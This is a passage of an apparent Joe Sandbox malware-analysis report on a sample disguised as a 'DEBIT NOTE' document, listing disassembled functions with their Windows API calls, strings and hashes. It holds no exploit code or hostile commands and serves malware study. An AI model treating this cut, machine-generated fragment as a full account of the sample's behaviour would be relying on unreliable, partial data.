                                          • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004300C3
                                          • GetFileSize.KERNEL32(00000000,00000000), ref: 004300DE
                                          • GlobalAlloc.KERNEL32(00000002,00000000), ref: 004300E9
                                          • GlobalLock.KERNEL32(00000000), ref: 004300F6
                                          • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00430105
                                          • GlobalUnlock.KERNEL32(00000000), ref: 0043010C
                                          • CloseHandle.KERNEL32(00000000), ref: 00430113
                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00430120
                                          • OleLoadPicture.OLEAUT32(?,00000000,00000000,004829F8,?), ref: 0043013E
                                          • GlobalFree.KERNEL32(00000000), ref: 00430150
                                          • GetObjectW.GDI32(?,00000018,?), ref: 00430177
                                          • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004301A8
                                          • DeleteObject.GDI32(?), ref: 004301D0
                                          • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 004301E7
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                          • String ID:
                                          • API String ID: 3969911579-0
                                          • Opcode ID: fd1addb57dfcb9cf3c81a7192785a12cb72203be8d3c1966912b6329e8233f20
                                          • Instruction ID: 40287395d2d29e4935595b2baf4d6657c54b4003bec4d35786bf86d2452689d1
                                          • Opcode Fuzzy Hash: fd1addb57dfcb9cf3c81a7192785a12cb72203be8d3c1966912b6329e8233f20
                                          • Instruction Fuzzy Hash: 41414C75600208AFDB10DF64DD88FAE77B8EF48711F108659FA05AB290D7B5AD01CB68
                                          Function 004551F5 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 115windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow
                                          • String ID: 0
                                          • API String ID: 956284711-4108050209
                                          • Opcode ID: d13a276e73d68c5a88ff05331af00a4635b68400f986b822500444c43e982ccd
                                          • Instruction ID: b5af5d15e8ca477bb279da78e69062a53aed449fe0dbaae2e4c2ef00f9b57ed5
                                          • Opcode Fuzzy Hash: d13a276e73d68c5a88ff05331af00a4635b68400f986b822500444c43e982ccd
                                          • Instruction Fuzzy Hash: 91412770200601AFD714DF64D9A8B6B77A8BF48302F10896DFD45CB292D778E848CFA9
                                          Function 00433493 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 84networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcscpy$Cleanup$Startup_memmove_strcatgethostbynamegethostnameinet_ntoa
                                          • String ID: 0.0.0.0
                                          • API String ID: 1965227024-3771769585
                                          • Opcode ID: fae7ff6cb08d49b7abbddf1c7acdf758c3bbd000e7fec019eac0b45bea4aa72c
                                          • Instruction ID: 28916de6e65f37ac85efecafd260a3a31c9a3caf28ae6c56f7260ddb0d4b80cb
                                          • Opcode Fuzzy Hash: fae7ff6cb08d49b7abbddf1c7acdf758c3bbd000e7fec019eac0b45bea4aa72c
                                          • Instruction Fuzzy Hash: 4F213A32A00114BBC710AF65DC05EEF736CEF99716F0045AFF90993151EEB99A8187E8
                                          Function 0045F56D Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 78COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                            • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                                          • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0045F5D5
                                          • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0045F5EC
                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045F5FE
                                          • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0045F611
                                          • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0045F61E
                                          • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0045F634
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: SendString$_memmove_wcslen
                                          • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                          • API String ID: 369157077-1007645807
                                          • Opcode ID: f963851227cb2bcafec7df3ef8778280fda42e08bc5c03876a4728c3ed9f2a05
                                          • Instruction ID: e81aaa69409cfefceaf3864659f825962b2ddf67c6d06b6a861a29a56a66176d
                                          • Opcode Fuzzy Hash: f963851227cb2bcafec7df3ef8778280fda42e08bc5c03876a4728c3ed9f2a05
                                          • Instruction Fuzzy Hash: 7F21A83168021D66E720FB95DC46FFE7368AF40700F20087BFA14B71D1DAB4A949879D
                                          Function 00445BE4 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 77windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetParent.USER32 ref: 00445BF8
                                          • GetClassNameW.USER32(00000000,?,00000100), ref: 00445C0D
                                          • __wcsicoll.LIBCMT ref: 00445C33
                                          • __wcsicoll.LIBCMT ref: 00445C4F
                                          • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445CA9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __wcsicoll$ClassMessageNameParentSend
                                          • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                          • API String ID: 3125838495-3381328864
                                          • Opcode ID: 17bab07e815737d0aecd422002c3b7a0f260523ca91fc6be5302b60c0052203b
                                          • Instruction ID: b9a51c7f116d0e73852bd225d20f6d8bcb5f39b8f57bd3164038c04ed7d94027
                                          • Opcode Fuzzy Hash: 17bab07e815737d0aecd422002c3b7a0f260523ca91fc6be5302b60c0052203b
                                          • Instruction Fuzzy Hash: C6110AB1E447017BFE10BA659D46EBB339C9B54B11F00051BFE44D7242F6ACA94147A9
                                          Function 004491B9 Relevance: 19.7, APIs: 13, Instructions: 246windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,?,000000FF,?), ref: 004492A4
                                          • SendMessageW.USER32(?,?,00000000,00000000), ref: 004492B7
                                          • CharNextW.USER32(?,?,?,000000FF,?), ref: 004492E9
                                          • SendMessageW.USER32(?,?,00000000,00000000), ref: 00449301
                                          • SendMessageW.USER32(?,?,00000000,?), ref: 00449332
                                          • SendMessageW.USER32(?,?,000000FF,?), ref: 00449349
                                          • SendMessageW.USER32(?,?,00000000,00000000), ref: 0044935C
                                          • SendMessageW.USER32(?,00000402,?), ref: 00449399
                                          • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0044940D
                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449477
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$CharNext
                                          • String ID:
                                          • API String ID: 1350042424-0
                                          • Opcode ID: 0066c399e5a393c923680e2e66105d8530035c3b09cc99687380ea8ee93f4497
                                          • Instruction ID: 867fdc7b80e212b75fe5daf06e5219747a853435bb2a874e280223eddbea68d3
                                          • Opcode Fuzzy Hash: 0066c399e5a393c923680e2e66105d8530035c3b09cc99687380ea8ee93f4497
                                          • Instruction Fuzzy Hash: 5B81D535A00119BBEB10CF85DD80FFFB778FB55720F10825AFA14AA280D7B99D4197A4
                                          Function 00478656 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 197COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004536F7: CharLowerBuffW.USER32(?,?), ref: 0045370C
                                            • Part of subcall function 00445AE0: _wcslen.LIBCMT ref: 00445AF0
                                          • GetDriveTypeW.KERNEL32(?), ref: 004787B9
                                          • _wcscpy.LIBCMT ref: 004787E5
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: BuffCharDriveLowerType_wcscpy_wcslen
                                          • String ID: \VH$a$all$cdrom$fixed$network$ramdisk$removable$unknown
                                          • API String ID: 3052893215-2127371420
                                          • Opcode ID: d2cef25e8da5c5e3ff62787a2d5bf57075b394b4544bde345958b2b0489681b6
                                          • Instruction ID: 541bc2b2506c052d744bcb7e7e177e26c036821b53f5a58429f0f0853ea8de24
                                          • Opcode Fuzzy Hash: d2cef25e8da5c5e3ff62787a2d5bf57075b394b4544bde345958b2b0489681b6
                                          • Instruction Fuzzy Hash: 4761C1716443018BD700EF14CC85B9BB7D4AB84348F14892FF949AB382DB79E94987AB
                                          Function 0045E737 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 163COMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E77F
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • LoadStringW.USER32(?,?,?,00000FFF), ref: 0045E7A0
                                          • __swprintf.LIBCMT ref: 0045E7F7
                                          • _wprintf.LIBCMT ref: 0045E8B3
                                          • _wprintf.LIBCMT ref: 0045E8D7
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: LoadString_wprintf$__swprintf_memmove_wcslen
                                          • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                          • API String ID: 2295938435-2354261254
                                          • Opcode ID: bb058454d561a71d3962b6834df81d7638d9abf9c215052f6de6d44e2e152ebf
                                          • Instruction ID: 453f5dd12ee62c270a242db3517b58e8b6225e49c0ff470bc5072f32437c925c
                                          • Opcode Fuzzy Hash: bb058454d561a71d3962b6834df81d7638d9abf9c215052f6de6d44e2e152ebf
                                          • Instruction Fuzzy Hash: 6A519E71A10219ABDB14EB91CC85EEF7778AF44314F14407EF90477292DB78AE49CBA8
                                          Function 004531B1 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 160COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __swprintf_wcscpy$__i64tow__itow
                                          • String ID: %.15g$0x%p$False$True
                                          • API String ID: 3038501623-2263619337
                                          • Opcode ID: dbd07ee36d68efbdb82b47f6bbdb5a558a403895529f1bd62c5843a789ef215e
                                          • Instruction ID: fd507a47f7d2c8f7f5848ea17d112ce969af4838d766d220e6d3988dad71e25c
                                          • Opcode Fuzzy Hash: dbd07ee36d68efbdb82b47f6bbdb5a558a403895529f1bd62c5843a789ef215e
                                          • Instruction Fuzzy Hash: 264108729001005BDB10EF75DC42FAAB364EF55306F0445ABFE09CB242EA39DA48C79A
                                          Function 0045E538 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 154COMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E580
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E59F
                                          • __swprintf.LIBCMT ref: 0045E5F6
                                          • _wprintf.LIBCMT ref: 0045E6A3
                                          • _wprintf.LIBCMT ref: 0045E6C7
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: LoadString_wprintf$__swprintf_memmove_wcslen
                                          • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                          • API String ID: 2295938435-8599901
                                          • Opcode ID: c66a723599ffab058b3f3cea1f0729b04811ebb293e3d225dd53f192e4035716
                                          • Instruction ID: ff3e2b23dced8a629e5b21f12e79e468b5cd48208a3d74017576322ff0354a8f
                                          • Opcode Fuzzy Hash: c66a723599ffab058b3f3cea1f0729b04811ebb293e3d225dd53f192e4035716
                                          • Instruction Fuzzy Hash: 9A519171D00109ABDB14EBA1C845EEF7778EF44304F50847EF91477292EA78AE49CBA8
                                          Function 00443B61 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 99sleepwindowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • timeGetTime.WINMM ref: 00443B67
                                            • Part of subcall function 0040C620: timeGetTime.WINMM(0042DD5D), ref: 0040C620
                                          • Sleep.KERNEL32(0000000A), ref: 00443B9F
                                          • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00443BC8
                                          • SetActiveWindow.USER32(00000000), ref: 00443BEC
                                          • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00443BFC
                                          • SendMessageW.USER32(00000000,00000010,00000000,00000000), ref: 00443C22
                                          • Sleep.KERNEL32(000000FA), ref: 00443C2D
                                          • IsWindow.USER32(00000000), ref: 00443C3A
                                          • EndDialog.USER32(00000000,00000000), ref: 00443C4C
                                            • Part of subcall function 004439C1: GetWindowThreadProcessId.USER32(?,00000000), ref: 004439E4
                                            • Part of subcall function 004439C1: GetCurrentThreadId.KERNEL32 ref: 004439EB
                                            • Part of subcall function 004439C1: AttachThreadInput.USER32(00000000), ref: 004439F2
                                          • EnumThreadWindows.USER32(00000000,Function_00033D09,00000000), ref: 00443C6B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ThreadWindow$MessageSendSleepTimetime$ActiveAttachCurrentDialogEnumFindInputProcessWindows
                                          • String ID: BUTTON
                                          • API String ID: 1834419854-3405671355
                                          • Opcode ID: 0b90b562b2b8ddd8d32d3d53e67965f547c0866e24595f66544518a968b379f6
                                          • Instruction ID: 3c6370bb7d17ad47abda0b7088cfd3672c19e1ca6c3f529de1b12449ce3ad6f8
                                          • Opcode Fuzzy Hash: 0b90b562b2b8ddd8d32d3d53e67965f547c0866e24595f66544518a968b379f6
                                          • Instruction Fuzzy Hash: 6B31E676784200BFE3349F74FD99F5A3B58AB55B22F10083AF600EA2A1D6B5A441876C
                                          Function 00454014 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 93windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,?,?,0042820D,?,?,?,#include depth exceeded. Make sure there are no recursive includes,?), ref: 00454039
                                          • LoadStringW.USER32(00000000), ref: 00454040
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • _wprintf.LIBCMT ref: 00454074
                                          • __swprintf.LIBCMT ref: 004540A3
                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0045410F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: HandleLoadMessageModuleString__swprintf_memmove_wcslen_wprintf
                                          • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                          • API String ID: 455036304-4153970271
                                          • Opcode ID: 0cc89bd23a2e2e53ac7bb2b5ed0e913a3f1e972501752cb0da19f3bd95e8304c
                                          • Instruction ID: e2f14448b15a7dab571624068eda089460c560eca1c8ebe4dd0daaccfe0aa2c5
                                          • Opcode Fuzzy Hash: 0cc89bd23a2e2e53ac7bb2b5ed0e913a3f1e972501752cb0da19f3bd95e8304c
                                          • Instruction Fuzzy Hash: 3B31E872B0011997CB00EF95CD069AE3378AF88714F50445EFA0877282D678AE45C7A9
                                          Function 00467C8E Relevance: 18.3, APIs: 12, Instructions: 310COMMON
                                          Download Yara Rule
                                          APIs
                                          • SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00467D63
                                          • SafeArrayAccessData.OLEAUT32(0000007F,0000007F), ref: 00467DDC
                                          • SafeArrayGetVartype.OLEAUT32(0000007F,?), ref: 00467E71
                                          • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00467E9D
                                          • _memmove.LIBCMT ref: 00467EB8
                                          • SafeArrayUnaccessData.OLEAUT32(00000000), ref: 00467EC1
                                          • SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00467EDE
                                          • _memmove.LIBCMT ref: 00467F6C
                                          • SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00467FC1
                                          • SafeArrayUnaccessData.OLEAUT32(00000004), ref: 00467FAB
                                            • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
                                            • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
                                            • Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651
                                          • SafeArrayUnaccessData.OLEAUT32(00479A50), ref: 00467E48
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • SafeArrayUnaccessData.OLEAUT32(00479A50), ref: 00468030
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
